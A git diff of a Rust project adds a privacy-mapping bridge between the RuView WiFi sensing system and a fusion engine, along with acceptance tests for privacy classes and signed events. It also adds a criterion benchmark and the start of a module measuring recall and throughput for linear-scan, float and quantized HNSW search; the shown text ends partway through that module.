assert_eq!(map_privacy(RuViewPrivacyClass::Anonymous, false), PrivacyClass::P2);
|
||||
assert_eq!(map_privacy(RuViewPrivacyClass::Restricted, false), PrivacyClass::P2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn mapping_ignores_non_monotonic_byte_value() {
|
||||
// Derived's byte (1) is *below* Anonymous's byte (2), but Derived's
|
||||
// mapped class must be *above* Anonymous's mapped class — proving the
|
||||
// mapping uses information content, not the byte.
|
||||
assert!(RuViewPrivacyClass::Derived.raw_byte() < RuViewPrivacyClass::Anonymous.raw_byte());
|
||||
assert!(
|
||||
map_privacy(RuViewPrivacyClass::Derived, false)
|
||||
> map_privacy(RuViewPrivacyClass::Anonymous, false)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn demotion_floor_only_raises_privacy() {
|
||||
// Raw → P0, but a demoted cycle floors to P2 with raw suppressed.
|
||||
assert_eq!(apply_demotion_floor(PrivacyClass::P0, true), PrivacyClass::P2);
|
||||
// Already-high classes are never lowered by the floor.
|
||||
assert_eq!(apply_demotion_floor(PrivacyClass::P5, true), PrivacyClass::P5);
|
||||
// No demotion ⇒ unchanged.
|
||||
assert_eq!(apply_demotion_floor(PrivacyClass::P0, false), PrivacyClass::P0);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn identity_bound_only_promotes() {
|
||||
// identity_bound never lowers privacy; it only promotes Derived P4→P5.
|
||||
for c in [
|
||||
RuViewPrivacyClass::Raw,
|
||||
RuViewPrivacyClass::Derived,
|
||||
RuViewPrivacyClass::Anonymous,
|
||||
RuViewPrivacyClass::Restricted,
|
||||
] {
|
||||
assert!(map_privacy(c, true) >= map_privacy(c, false));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
//! Owned, primitive input types for the ADR-262 bridge.
|
||||
//!
|
||||
//! These deliberately **mirror** the shapes RuView's sensing cycle produces
|
||||
//! (the `/ws/sensing` `SensingUpdate` build site at
|
||||
//! `wifi-densepose-sensing-server/src/main.rs:~5938` and the `TrustedOutput`
|
||||
//! trust state surfaced via `EngineBridge` at `main.rs:~5886`) **without
|
||||
//! importing** RuView's internal crates. Keeping the bridge an anti-corruption
|
||||
//! layer (ADR-262 §5.4) means it takes owned primitives, not `SensingUpdate`
|
||||
//! or `TrustedOutput` directly — so this crate never depends on
|
||||
//! `wifi-densepose-sensing-server`.
|
||||
|
||||
use serde::{Deserialize, Serialize};
|
||||
|
||||
/// The CSI feature scalars RuView publishes on every `/ws/sensing` cycle.
|
||||
///
|
||||
/// Mirrors `FeatureInfo` (`main.rs:368-377`). All values are in RuView's own
|
||||
/// units; the bridge normalizes them into `Observation.features` for fusion.
|
||||
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
|
||||
pub struct SensingFeatures {
|
||||
/// Mean RSSI across the CSI window (dBm).
|
||||
pub mean_rssi: f64,
|
||||
/// CSI amplitude variance.
|
||||
pub variance: f64,
|
||||
/// Motion-band spectral power (drives `motion_energy`).
|
||||
pub motion_band_power: f64,
|
||||
/// Breathing-band spectral power (drives `breathing_band`).
|
||||
pub breathing_band_power: f64,
|
||||
/// Dominant frequency of the CSI window (Hz).
|
||||
pub dominant_freq_hz: f64,
|
||||
/// Number of change points detected in the window (drives `transient`).
|
||||
pub change_points: usize,
|
||||
/// Total spectral power of the window.
|
||||
pub spectral_power: f64,
|
||||
}
|
||||
|
||||
/// The RuView classification block. Mirrors `ClassificationInfo`
|
||||
/// (`main.rs:379-384`).
|
||||
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
|
||||
pub struct SensingClass {
|
||||
/// Coarse motion level label (e.g. `"none"`, `"low"`, `"high"`).
|
||||
pub motion_level: String,
|
||||
/// Whether a person is present.
|
||||
pub presence: bool,
|
||||
/// Classification confidence `0.0..=1.0`.
|
||||
pub confidence: f64,
|
||||
}
|
||||
|
||||
/// A RuView signal field — a floor-plane grid of field values. Mirrors
|
||||
/// `SignalField` (`main.rs:386-390`). The bridge derives a real position from
|
||||
/// the strongest field peak (like `field_localize`) and **never fabricates**
|
||||
/// coordinates when this is absent.
|
||||
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
|
||||
pub struct SignalField {
|
||||
/// Grid dimensions `[x, y, z]`.
|
||||
pub grid_size: [usize; 3],
|
||||
/// Row-major flattened field values; `len() == grid_size.product()`.
|
||||
pub values: Vec<f64>,
|
||||
}
|
||||
|
||||
impl SignalField {
|
||||
/// Index `[x, y, z]` of the strongest field cell, or `None` if the grid is
|
||||
/// empty / all-NaN. This is the honest "strongest field peak" readout that
|
||||
/// `field_localize` (`field_localize.rs:16-27`) exposes — **not** calibrated
|
||||
/// triangulation.
|
||||
#[must_use]
|
||||
pub fn peak_cell(&self) -> Option<[i32; 3]> {
|
||||
let [nx, ny, nz] = self.grid_size;
|
||||
if nx == 0 || ny == 0 || nz == 0 || self.values.is_empty() {
|
||||
return None;
|
||||
}
|
||||
let mut best_idx: Option<usize> = None;
|
||||
let mut best_val = f64::NEG_INFINITY;
|
||||
for (i, &v) in self.values.iter().enumerate() {
|
||||
if v.is_finite() && v > best_val {
|
||||
best_val = v;
|
||||
best_idx = Some(i);
|
||||
}
|
||||
}
|
||||
let idx = best_idx?;
|
||||
// Row-major: idx = ((x * ny) + y) * nz + z.
|
||||
let z = idx % nz;
|
||||
let y = (idx / nz) % ny;
|
||||
let x = idx / (nz * ny);
|
||||
Some([x as i32, y as i32, z as i32])
|
||||
}
|
||||
}
|
||||
|
||||
/// RuView's effective privacy class (the `effective_class` / privacy byte on
|
||||
/// `TrustedOutput`).
|
||||
///
|
||||
/// This **mirrors** `wifi_densepose_bfld::PrivacyClass` (`bfld/lib.rs:103-116`,
|
||||
/// `#[repr(u8)]`) — the four byte-level classes. The byte values are
|
||||
/// **deliberately non-monotonic in information content**: `Derived = 1` carries
|
||||
/// an identity embedding yet sorts *below* `Anonymous = 2`. The bridge's
|
||||
/// `map_privacy` must therefore map by information content, NEVER by byte value
|
||||
/// (ADR-262 §3.3 — the central correctness item).
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "snake_case")]
|
||||
pub enum RuViewPrivacyClass {
|
||||
/// Byte `0` — raw CSI amplitude, local-only.
|
||||
Raw,
|
||||
/// Byte `1` — derived **identity** features (identity_embedding +
|
||||
/// identity_risk_score), LAN-only. The dangerous one (§3.3).
|
||||
Derived,
|
||||
/// Byte `2` — aggregate occupancy / motion, no identity.
|
||||
Anonymous,
|
||||
/// Byte `3` — care/regulated: occupancy minus risk score and hash;
|
||||
/// raw suppressed.
|
||||
Restricted,
|
||||
}
|
||||
|
||||
impl RuViewPrivacyClass {
|
||||
/// The raw byte value used by RuView's `#[repr(u8)]` enum
|
||||
/// (`bfld/lib.rs:103`). Exposed only so callers can demonstrate the
|
||||
/// non-monotonicity trap in tests; the bridge never maps off this byte.
|
||||
#[must_use]
|
||||
pub fn raw_byte(self) -> u8 {
|
||||
match self {
|
||||
RuViewPrivacyClass::Raw => 0,
|
||||
RuViewPrivacyClass::Derived => 1,
|
||||
RuViewPrivacyClass::Anonymous => 2,
|
||||
RuViewPrivacyClass::Restricted => 3,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// One sensing cycle, as a bridge input. Mirrors the join of `SensingUpdate`
|
||||
/// (features + classification + signal_field) and the `TrustedOutput` trust
|
||||
/// state (`trust_class`) that ADR-262 §1.2 / P1 say must be done at the bridge.
|
||||
#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)]
|
||||
pub struct SensingSnapshot {
|
||||
/// Capture time, nanoseconds since Unix epoch (the real `SensingUpdate`
|
||||
/// timestamp, ns).
|
||||
pub timestamp_ns: u64,
|
||||
/// CSI feature scalars (`/ws/sensing` feature set).
|
||||
pub features: SensingFeatures,
|
||||
/// Classification (motion level / presence / confidence).
|
||||
pub classification: SensingClass,
|
||||
/// Optional signal field for a real position readout.
|
||||
pub signal_field: Option<SignalField>,
|
||||
/// RuView's effective privacy class (the source-of-truth, §3.3).
|
||||
pub trust_class: RuViewPrivacyClass,
|
||||
/// Whether the governed engine demoted this cycle (`TrustedOutput.demoted`).
|
||||
/// When `true` the emitted event must be `>= P2` and raw suppressed
|
||||
/// (§3.3 / §4 P2 gate (b)).
|
||||
pub demoted: bool,
|
||||
/// Whether this cycle's identity surface is bound to an enrolled identity
|
||||
/// (RuView's `identity_bound`). Promotes `Derived` to P5 when set.
|
||||
pub identity_bound: bool,
|
||||
/// Stable node id (e.g. `"esp32_room_01"`).
|
||||
pub node_id: String,
|
||||
}
|
||||
@@ -0,0 +1,172 @@
|
||||
//! ADR-262 P1 acceptance gates. Each test below IS an acceptance criterion.
|
||||
//!
|
||||
//! - round-trip: snapshot → FieldEvent → serde → equal
|
||||
//! - is_fusable: emitted event passes the §11 fusability invariant
|
||||
//! - fusion ingest accept: `RuFieldFusion::ingest` accepts it + `infer` runs
|
||||
//! - privacy safety: `Derived` never maps to a low-privacy class (the §3.3 trap)
|
||||
//! - determinism: same snapshot + same signer seed → identical event
|
||||
|
||||
use rufield_core::{FusionEngine, InferenceQuery, PrivacyClass};
|
||||
use rufield_fusion::RuFieldFusion;
|
||||
use rufield_provenance::{is_fusable, verify_event, Signer};
|
||||
use wifi_densepose_rufield::{
|
||||
map_privacy, snapshot_to_field_event, RuViewPrivacyClass, SensingClass, SensingFeatures,
|
||||
SensingSnapshot, SignalField,
|
||||
};
|
||||
|
||||
const SEED: &[u8; 32] = b"adr-262-bridge-seed-32-bytes-ok!";
|
||||
|
||||
fn signer() -> Signer {
|
||||
Signer::from_seed(SEED)
|
||||
}
|
||||
|
||||
/// A representative snapshot with a real signal field (so a position is derived).
|
||||
fn sample_snapshot() -> SensingSnapshot {
|
||||
SensingSnapshot {
|
||||
timestamp_ns: 1_791_986_400_123_456_789,
|
||||
features: SensingFeatures {
|
||||
mean_rssi: -52.5,
|
||||
variance: 0.73,
|
||||
motion_band_power: 2.4,
|
||||
breathing_band_power: 0.6,
|
||||
dominant_freq_hz: 0.27,
|
||||
change_points: 2,
|
||||
spectral_power: 4.1,
|
||||
},
|
||||
classification: SensingClass {
|
||||
motion_level: "high".into(),
|
||||
presence: true,
|
||||
confidence: 0.88,
|
||||
},
|
||||
signal_field: Some(SignalField {
|
||||
grid_size: [2, 1, 2],
|
||||
// peak at flat index 2 → cell [1,0,0]
|
||||
values: vec![0.1, 0.2, 0.9, 0.3],
|
||||
}),
|
||||
trust_class: RuViewPrivacyClass::Anonymous,
|
||||
demoted: false,
|
||||
identity_bound: false,
|
||||
node_id: "esp32_room_01".into(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn gate_round_trip_serde_equal() {
|
||||
let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
|
||||
let json = serde_json::to_string(&ev).expect("serialize");
|
||||
let back: rufield_core::FieldEvent = serde_json::from_str(&json).expect("deserialize");
|
||||
assert_eq!(ev, back, "FieldEvent must round-trip through serde unchanged");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn gate_is_fusable_verified_receipt() {
|
||||
let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
|
||||
// Real (non-synthetic) event must carry a verifying ed25519 signature.
|
||||
assert!(!ev.provenance.synthetic, "live event must NOT be marked synthetic");
|
||||
assert!(ev.provenance.signature_hex.is_some(), "must be signed");
|
||||
assert!(verify_event(&ev).is_ok(), "signature must verify");
|
||||
assert!(is_fusable(&ev), "verified receipt ⇒ fusable (§11 invariant)");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn gate_fusion_ingest_accepts_and_infers() {
|
||||
let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
|
||||
let mut engine = RuFieldFusion::new();
|
||||
engine.ingest(ev).expect("fusion engine must accept the signed event");
|
||||
// infer() must run without error (may or may not produce inferences).
|
||||
let inferences = engine
|
||||
.infer(&InferenceQuery::all())
|
||||
.expect("infer() must run");
|
||||
// The graph recorded the event/sensor provenance nodes.
|
||||
assert!(
|
||||
engine.graph().node_count() >= 2,
|
||||
"ingest should record sensor + event nodes"
|
||||
);
|
||||
let _ = inferences; // count is not an accuracy claim
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn gate_privacy_safety_derived_never_maps_to_low_privacy() {
|
||||
// THE critical §3.3 gate. Derived carries identity ⇒ P4/P5, NEVER P1.
|
||||
let p4 = map_privacy(RuViewPrivacyClass::Derived, false);
|
||||
let p5 = map_privacy(RuViewPrivacyClass::Derived, true);
|
||||
assert_eq!(p4, PrivacyClass::P4);
|
||||
assert_eq!(p5, PrivacyClass::P5);
|
||||
assert!(p4 >= PrivacyClass::P4, "Derived must be in the identity tier");
|
||||
assert_ne!(p4, PrivacyClass::P1, "Derived must NEVER be P1");
|
||||
|
||||
// And end-to-end: an emitted event from a Derived snapshot must be P4/P5.
|
||||
let mut snap = sample_snapshot();
|
||||
snap.trust_class = RuViewPrivacyClass::Derived;
|
||||
let ev = snapshot_to_field_event(&snap, &signer());
|
||||
assert!(
|
||||
ev.observation.privacy_class >= PrivacyClass::P4,
|
||||
"emitted Derived event must be P4 or P5, got {:?}",
|
||||
ev.observation.privacy_class
|
||||
);
|
||||
assert_eq!(ev.observation.privacy_class, ev.tensor.privacy_class);
|
||||
}
|
||||
|
||||
/// Full §3.3 table over every RuView class → expected RuField class.
|
||||
#[test]
|
||||
fn gate_privacy_table_over_every_ruview_class() {
|
||||
let cases = [
|
||||
(RuViewPrivacyClass::Raw, false, PrivacyClass::P0),
|
||||
(RuViewPrivacyClass::Derived, false, PrivacyClass::P4),
|
||||
(RuViewPrivacyClass::Derived, true, PrivacyClass::P5),
|
||||
(RuViewPrivacyClass::Anonymous, false, PrivacyClass::P2),
|
||||
(RuViewPrivacyClass::Restricted, false, PrivacyClass::P2),
|
||||
];
|
||||
for (ruview, id_bound, expected) in cases {
|
||||
assert_eq!(
|
||||
map_privacy(ruview, id_bound),
|
||||
expected,
|
||||
"{ruview:?} (identity_bound={id_bound}) must map to {expected:?}"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Fail-closed: a demoted Raw snapshot must NOT emit P0 (raw) — it floors to P2.
|
||||
#[test]
|
||||
fn gate_demotion_is_fail_closed() {
|
||||
let mut snap = sample_snapshot();
|
||||
snap.trust_class = RuViewPrivacyClass::Raw; // would be P0
|
||||
snap.demoted = true; // governed engine demotion
|
||||
let ev = snapshot_to_field_event(&snap, &signer());
|
||||
assert!(
|
||||
ev.observation.privacy_class >= PrivacyClass::P2,
|
||||
"demoted cycle must floor to >= P2, got {:?}",
|
||||
ev.observation.privacy_class
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn gate_determinism_same_seed_identical_event() {
|
||||
let snap = sample_snapshot();
|
||||
let a = snapshot_to_field_event(&snap, &Signer::from_seed(SEED));
|
||||
let b = snapshot_to_field_event(&snap, &Signer::from_seed(SEED));
|
||||
assert_eq!(a, b, "same snapshot + same signer seed ⇒ identical event");
|
||||
// Including the signature (ed25519 is deterministic).
|
||||
assert_eq!(a.provenance.signature_hex, b.provenance.signature_hex);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_fabricated_position_when_field_absent() {
|
||||
let mut snap = sample_snapshot();
|
||||
snap.signal_field = None;
|
||||
let ev = snapshot_to_field_event(&snap, &signer());
|
||||
assert!(ev.observation.range_m.is_none(), "no field ⇒ no fabricated range");
|
||||
assert!(ev.observation.space_cell.is_none(), "no field ⇒ no fabricated cell");
|
||||
assert!(
|
||||
ev.observation.motion_vector.is_none(),
|
||||
"no field ⇒ no fabricated motion vector"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn derives_real_position_from_field_peak() {
|
||||
let ev = snapshot_to_field_event(&sample_snapshot(), &signer());
|
||||
// peak at flat index 2, grid [2,1,2] (row-major) → cell [1,0,0]
|
||||
assert_eq!(ev.observation.space_cell, Some([1, 0, 0]));
|
||||
assert_eq!(ev.observation.range_m, Some(1.0));
|
||||
}
|
||||
@@ -47,3 +47,7 @@ harness = false
|
||||
[[bench]]
|
||||
name = "fusion_bench"
|
||||
harness = false
|
||||
|
||||
[[bench]]
|
||||
name = "ann_bench"
|
||||
harness = false
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
//! Criterion bench for the ADR-261 graph-ANN index: linear scan vs float HNSW
|
||||
//! vs quantized HNSW, on the shared `ann_measure` fixture.
|
||||
//!
|
||||
//! The authoritative recall/QPS numbers in ADR-261 come from the
|
||||
//! `--no-default-features --release` test report
|
||||
//! (`ann_bench_report` in `src/ann_measure.rs`), which is deterministic and
|
||||
//! gate-runnable. This criterion bench times the same operations through the
|
||||
//! criterion harness for stable per-op medians:
|
||||
//!
|
||||
//! ```text
|
||||
//! cargo bench -p wifi-densepose-ruvector --bench ann_bench
|
||||
//! ```
|
||||
//!
|
||||
//! Build is excluded from the timed region (done once in setup); only the query
|
||||
//! path is measured. The fixture and both indices are identical to the report's,
|
||||
//! so the bench and the report can never measure different graphs.
|
||||
|
||||
use criterion::{black_box, criterion_group, criterion_main, Criterion};
|
||||
use wifi_densepose_ruvector::ann_measure::{
|
||||
build_indices, build_quant_bits, queries, AnnBenchParams,
|
||||
};
|
||||
|
||||
fn bench_ann(c: &mut Criterion) {
|
||||
// Modest N so the bench builds quickly; the report covers the larger N.
|
||||
let p = AnnBenchParams::default_fixture(10_000);
|
||||
let (float_idx, quant_idx, vectors) = build_indices(p);
|
||||
// Multi-bit quant variants over the SAME graph/fixture (ADR-261 §11).
|
||||
let quant_2bit = build_quant_bits(p, &vectors, 2);
|
||||
let quant_4bit = build_quant_bits(p, &vectors, 4);
|
||||
let qs = queries(p);
|
||||
let k = p.k;
|
||||
|
||||
let mut group = c.benchmark_group("ann_query");
|
||||
group.sample_size(20);
|
||||
|
||||
// Linear scan (brute force) — the no-index baseline.
|
||||
group.bench_function("linear_scan", |b| {
|
||||
b.iter(|| {
|
||||
let mut sink = 0u64;
|
||||
for q in &qs {
|
||||
sink = sink.wrapping_add(float_idx.brute_force(black_box(q), k).len() as u64);
|
||||
}
|
||||
black_box(sink)
|
||||
})
|
||||
});
|
||||
|
||||
// Float HNSW at a mid beam width.
|
||||
for &ef in &[64usize, 128] {
|
||||
group.bench_function(format!("float_hnsw_ef{ef}"), |b| {
|
||||
b.iter(|| {
|
||||
let mut sink = 0u64;
|
||||
for q in &qs {
|
||||
sink = sink.wrapping_add(float_idx.search(black_box(q), k, ef).len() as u64);
|
||||
}
|
||||
black_box(sink)
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
// Quantized HNSW (1-bit) at matched beam widths + rerank.
|
||||
for &ef in &[64usize, 128] {
|
||||
let rr = k * 5;
|
||||
group.bench_function(format!("quant_hnsw_1bit_ef{ef}_rr{rr}"), |b| {
|
||||
b.iter(|| {
|
||||
let mut sink = 0u64;
|
||||
for q in &qs {
|
||||
sink = sink
|
||||
.wrapping_add(quant_idx.search_quantized(black_box(q), k, ef, rr).len() as u64);
|
||||
}
|
||||
black_box(sink)
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
// Multi-bit quant HNSW (ADR-261 §11): 2-bit and 4-bit traversal codes at a
|
||||
// mid beam width, so the criterion medians show the per-bit QPS cost the
|
||||
// scaling study reports against recall.
|
||||
for (label, idx) in [("2bit", &quant_2bit), ("4bit", &quant_4bit)] {
|
||||
for &ef in &[64usize, 128] {
|
||||
let rr = k * 5;
|
||||
group.bench_function(format!("quant_hnsw_{label}_ef{ef}_rr{rr}"), |b| {
|
||||
b.iter(|| {
|
||||
let mut sink = 0u64;
|
||||
for q in &qs {
|
||||
sink = sink
|
||||
.wrapping_add(idx.search_quantized(black_box(q), k, ef, rr).len() as u64);
|
||||
}
|
||||
black_box(sink)
|
||||
})
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
group.finish();
|
||||
}
|
||||
|
||||
criterion_group!(benches, bench_ann);
|
||||
criterion_main!(benches);
|
||||
@@ -0,0 +1,684 @@
|
||||
//! Deterministic, `--no-default-features`-runnable **ANN benchmark measurement**
|
||||
//! for ADR-261 — the single source of truth for the QPS/recall numbers the ADR
|
||||
//! quotes for **linear scan**, **float HNSW**, and **quantized HNSW**.
|
||||
//!
|
||||
//! Both the criterion bench (`benches/ann_bench.rs`) and the in-crate report test
|
||||
//! ([`tests::ann_bench_report`]) call into here, so they can never silently
|
||||
//! measure different things. The numbers in ADR-261 §6 come from running:
|
||||
//!
|
||||
//! ```text
|
||||
//! cd v2 && cargo test -p wifi-densepose-ruvector --no-default-features --release \
|
||||
//! ann_bench_report -- --nocapture
|
||||
//! ```
|
||||
//!
|
||||
//! # What is measured, and the honesty contract
|
||||
//!
|
||||
//! On one fixed planted-cluster fixture (documented dim/N/K/seed), for each
|
||||
//! method we measure:
|
||||
//! - **recall@10** vs the brute-force exact top-10 (the ground truth),
|
||||
//! - **QPS** = queries / total wall-clock query time (warm; build excluded),
|
||||
//! at matched recall operating points found by sweeping `ef` (HNSW) and
|
||||
//! `(ef, rerank)` (quantized).
|
||||
//!
|
||||
//! The reported **ratio** is the claim, not the absolute QPS (which is
|
||||
//! machine-specific). We do **not** tune the quantized path to manufacture a
|
||||
//! win: if at our scale quantized does not beat float HNSW, the report says so
|
||||
//! and the ADR records the honest negative + the expected larger-N crossover.
|
||||
|
||||
use std::collections::HashSet;
|
||||
use std::time::Instant;
|
||||
|
||||
use crate::hnsw::{HnswIndex, HnswParams, Metric};
|
||||
use crate::hnsw_quantized::QuantizedHnswIndex;
|
||||
|
||||
/// SplitMix64 — the crate-wide deterministic PRNG (mirrors `coverage.rs`).
|
||||
#[inline]
|
||||
fn split_mix64(state: &mut u64) -> u64 {
|
||||
*state = state.wrapping_add(0x9E37_79B9_7F4A_7C15);
|
||||
let mut z = *state;
|
||||
z = (z ^ (z >> 30)).wrapping_mul(0xBF58_476D_1CE4_E5B9);
|
||||
z = (z ^ (z >> 27)).wrapping_mul(0x94D0_49BB_1331_11EB);
|
||||
z ^ (z >> 31)
|
||||
}
|
||||
#[inline]
|
||||
fn unif01(state: &mut u64) -> f32 {
|
||||
((split_mix64(state) >> 40) as f32) / ((1u64 << 24) as f32)
|
||||
}
|
||||
#[inline]
|
||||
fn gauss(state: &mut u64) -> f32 {
|
||||
let u1 = unif01(state).max(1e-7);
|
||||
let u2 = unif01(state);
|
||||
(-2.0 * u1.ln()).sqrt() * (std::f32::consts::TAU * u2).cos()
|
||||
}
|
||||
|
||||
/// ANN benchmark fixture parameters, documented in the ADR-261 report.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct AnnBenchParams {
|
||||
/// Embedding dimension.
|
||||
pub dim: usize,
|
||||
/// Number of indexed vectors (N).
|
||||
pub n: usize,
|
||||
/// Number of planted clusters (near-neighbour structure).
|
||||
pub clusters: usize,
|
||||
/// Number of queries timed.
|
||||
pub n_queries: usize,
|
||||
/// Top-K.
|
||||
pub k: usize,
|
||||
/// Intra-cluster Gaussian jitter.
|
||||
pub noise: f32,
|
||||
/// Master fixture seed.
|
||||
pub seed: u64,
|
||||
/// Graph construction/level seed.
|
||||
pub graph_seed: u64,
|
||||
/// Rotation seed for the quantized 1-bit codes.
|
||||
pub rot_seed: u64,
|
||||
}
|
||||
|
||||
impl AnnBenchParams {
|
||||
/// The default ADR-261 fixture: AETHER-shape 128-d, planted clusters.
|
||||
pub fn default_fixture(n: usize) -> Self {
|
||||
Self {
|
||||
dim: 128,
|
||||
n,
|
||||
clusters: 64,
|
||||
n_queries: 200,
|
||||
k: 10,
|
||||
noise: 0.35,
|
||||
seed: 0xADADADAD_0000_0261,
|
||||
graph_seed: 0x6261_5247_4148_4E53,
|
||||
rot_seed: 0x5EED_C0DE_1234_5678,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// The fixture vectors for `p` (deterministic planted clusters).
|
||||
pub fn fixture(p: AnnBenchParams) -> Vec<Vec<f32>> {
|
||||
let centres: Vec<Vec<f32>> = (0..p.clusters)
|
||||
.map(|c| {
|
||||
let mut s = p.seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
|
||||
(0..p.dim).map(|_| gauss(&mut s) * 3.0).collect()
|
||||
})
|
||||
.collect();
|
||||
(0..p.n)
|
||||
.map(|i| {
|
||||
let c = i % p.clusters;
|
||||
let mut s = p.seed ^ (i as u64).wrapping_mul(0x9E37);
|
||||
(0..p.dim)
|
||||
.map(|d| centres[c][d] + gauss(&mut s) * p.noise)
|
||||
.collect()
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// The timed query set for `p` (drawn from the same clusters, disjoint seed).
|
||||
pub fn queries(p: AnnBenchParams) -> Vec<Vec<f32>> {
|
||||
let centres: Vec<Vec<f32>> = (0..p.clusters)
|
||||
.map(|c| {
|
||||
let mut s = p.seed ^ (0xC0FFEE_u64.wrapping_mul(c as u64 + 1));
|
||||
(0..p.dim).map(|_| gauss(&mut s) * 3.0).collect()
|
||||
})
|
||||
.collect();
|
||||
(0..p.n_queries)
|
||||
.map(|q| {
|
||||
let c = q % p.clusters;
|
||||
let mut s = p.seed ^ 0xDEAD_0000_0000 ^ (q as u64).wrapping_mul(0x2545_F491);
|
||||
(0..p.dim)
|
||||
.map(|d| centres[c][d] + gauss(&mut s) * p.noise)
|
||||
.collect()
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Per-method measurement: recall@K and QPS.
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
pub struct MethodResult {
|
||||
/// Mean recall@K vs brute-force ground truth.
|
||||
pub recall: f64,
|
||||
/// Queries per second (warm wall-clock).
|
||||
pub qps: f64,
|
||||
/// Mean query latency in microseconds.
|
||||
pub latency_us: f64,
|
||||
}
|
||||
|
||||
/// Ground-truth brute-force top-K id sets for every query (computed once).
|
||||
/// Public so the criterion bench and the report test share one definition.
|
||||
pub fn ground_truth(idx: &HnswIndex, queries: &[Vec<f32>], k: usize) -> Vec<HashSet<u32>> {
|
||||
queries
|
||||
.iter()
|
||||
.map(|q| idx.brute_force(q, k).into_iter().map(|(id, _)| id).collect())
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Measure **linear scan** (brute force): recall is 1.0 by definition; QPS is the
|
||||
/// timed exact scan. This is the no-index baseline.
|
||||
pub fn measure_linear(
|
||||
idx: &HnswIndex,
|
||||
queries: &[Vec<f32>],
|
||||
truth: &[HashSet<u32>],
|
||||
k: usize,
|
||||
) -> MethodResult {
|
||||
let mut recall_acc = 0.0f64;
|
||||
let start = Instant::now();
|
||||
let mut sink = 0u64;
|
||||
for (qi, q) in queries.iter().enumerate() {
|
||||
let got = idx.brute_force(q, k);
|
||||
let hit = got.iter().filter(|(id, _)| truth[qi].contains(id)).count();
|
||||
recall_acc += hit as f64 / k as f64;
|
||||
sink = sink.wrapping_add(got.len() as u64);
|
||||
}
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
std::hint::black_box(sink);
|
||||
MethodResult {
|
||||
recall: recall_acc / queries.len() as f64,
|
||||
qps: queries.len() as f64 / elapsed,
|
||||
latency_us: elapsed / queries.len() as f64 * 1e6,
|
||||
}
|
||||
}
|
||||
|
||||
/// Measure **float HNSW** at a given beam width `ef`.
|
||||
pub fn measure_float_hnsw(
|
||||
idx: &HnswIndex,
|
||||
queries: &[Vec<f32>],
|
||||
truth: &[HashSet<u32>],
|
||||
k: usize,
|
||||
ef: usize,
|
||||
) -> MethodResult {
|
||||
let mut recall_acc = 0.0f64;
|
||||
let start = Instant::now();
|
||||
let mut sink = 0u64;
|
||||
for (qi, q) in queries.iter().enumerate() {
|
||||
let got = idx.search(q, k, ef);
|
||||
let hit = got.iter().filter(|(id, _)| truth[qi].contains(id)).count();
|
||||
recall_acc += hit as f64 / k as f64;
|
||||
sink = sink.wrapping_add(got.len() as u64);
|
||||
}
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
std::hint::black_box(sink);
|
||||
MethodResult {
|
||||
recall: recall_acc / queries.len() as f64,
|
||||
qps: queries.len() as f64 / elapsed,
|
||||
latency_us: elapsed / queries.len() as f64 * 1e6,
|
||||
}
|
||||
}
|
||||
|
||||
/// Measure **quantized HNSW** at a given `(ef, rerank)`.
|
||||
pub fn measure_quantized_hnsw(
|
||||
qidx: &QuantizedHnswIndex,
|
||||
queries: &[Vec<f32>],
|
||||
truth: &[HashSet<u32>],
|
||||
k: usize,
|
||||
ef: usize,
|
||||
rerank: usize,
|
||||
) -> MethodResult {
|
||||
let mut recall_acc = 0.0f64;
|
||||
let start = Instant::now();
|
||||
let mut sink = 0u64;
|
||||
for (qi, q) in queries.iter().enumerate() {
|
||||
let got = qidx.search_quantized(q, k, ef, rerank);
|
||||
let hit = got.iter().filter(|(id, _)| truth[qi].contains(id)).count();
|
||||
recall_acc += hit as f64 / k as f64;
|
||||
sink = sink.wrapping_add(got.len() as u64);
|
||||
}
|
||||
let elapsed = start.elapsed().as_secs_f64();
|
||||
std::hint::black_box(sink);
|
||||
MethodResult {
|
||||
recall: recall_acc / queries.len() as f64,
|
||||
qps: queries.len() as f64 / elapsed,
|
||||
latency_us: elapsed / queries.len() as f64 * 1e6,
|
||||
}
|
||||
}
|
||||
|
||||
/// Build both indices for `p` (shared insertion order + graph seed so the float
|
||||
/// and quantized graphs are identical — the only variable is scoring). The
|
||||
/// quantized index uses the legacy **1-bit** code (ADR-261 §6); use
|
||||
/// [`build_indices_bits`] for the multi-bit scaling study (§11).
|
||||
pub fn build_indices(p: AnnBenchParams) -> (HnswIndex, QuantizedHnswIndex, Vec<Vec<f32>>) {
|
||||
build_indices_bits(p, 1)
|
||||
}
|
||||
|
||||
